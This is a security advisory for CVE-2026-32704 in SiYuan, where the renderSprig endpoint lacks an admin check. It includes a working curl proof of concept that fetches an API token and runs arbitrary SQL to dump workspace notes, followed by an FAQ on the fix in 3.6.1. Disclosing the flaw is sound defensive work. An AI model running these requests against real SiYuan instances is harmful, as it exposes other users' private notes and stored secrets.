CVE-2026-32704: SiYuan renderSprig: missing admin check allows any user to read full workspace DB
Summary POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes.
Details File: kernel/api/router.go
Every sensitive endpoint in the codebase uses model.CheckAuth + model.CheckAdminRole, but renderSprig only has CheckAuth:
go // Missing CheckAdminRole ginServer.Handle("POST", "/api/template/renderSprig", model.CheckAuth, renderSprig)
// Correct pattern used by all other data endpoints ginServer.Handle("POST", "/api/template/render", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renderTemplate)
renderSprig calls model.RenderGoTemplate (kernel/model/template.go) which registers SQL functions from kernel/sql/database.go:
go (templateFuncMap)["querySQL"] = func(stmt string) (ret []map[string]interface{}) { ret, = Query(stmt, 1024) // executes raw SELECT, no role check return }
Any authenticated user - including Publish Service Reader role accounts - can call this endpoint and execute arbitrary SELECT queries.
PoC Environment: bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit: bash Step 1: Login and retrieve API token curl -s -X POST http://localhost:6806/api/system/loginAuth \ -H "Content-Type: application/json" \ -d '{"authCode":"test123"}' -c /tmp/siy.cookie
sleep 15 # wait for boot
TOKEN=$(curl -s -X POST http://localhost:6806/api/system/getConf \ -b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")
Step 2: Execute SQL as non-admin user curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{querySQL \"SELECT count() as n FROM blocks\" | toJson}}"}'
Confirmed response on v3.6.0: json {"code":0,"msg":"","data":"[{\"n\":0}]"}
Full note dump: bash curl -s -X POST http://localhost:6806/api/template/renderSprig \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'
Impact Any authenticated user (API token holder, Publish Service Reader) can: - Dump all note content and document hierarchy from the workspace - Exfiltrate tags, custom attributes, block IDs, and timestamps - Search notes for stored passwords, API keys, or personal data - Enumerate all notebooks and their structure
This is especially severe in shared or enterprise deployments where lower-privilege accounts should not have access to other users' notes.
Other sources
SiYuan is a personal knowledge management system. Prior to 3.6.1, POST /api/template/renderSprig lacks model.CheckAdminRole, allowing any authenticated user to execute arbitrary SQL queries against the SiYuan workspace database and exfiltrate all note content, metadata, and custom attributes. This vulnerability is fixed in 3.6.1.
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Frequently Asked Questions
What is the severity of CVE-2026-32704?
The severity of CVE-2026-32704 is considered high due to the potential for any authenticated user to access sensitive data.
How do I fix CVE-2026-32704?
To fix CVE-2026-32704, update your SiYuan installation to version 3.6.1 or later which includes the necessary admin checks.
What can an attacker do with CVE-2026-32704?
An attacker exploiting CVE-2026-32704 can execute arbitrary SQL queries and read the complete workspace database, including sensitive notes.
Which versions of SiYuan are affected by CVE-2026-32704?
SiYuan versions up to and including 3.6.0 are affected by CVE-2026-32704.
Is authentication enough to prevent exploitation of CVE-2026-32704?
No, CVE-2026-32704 can be exploited by any authenticated user as there is a missing admin role check.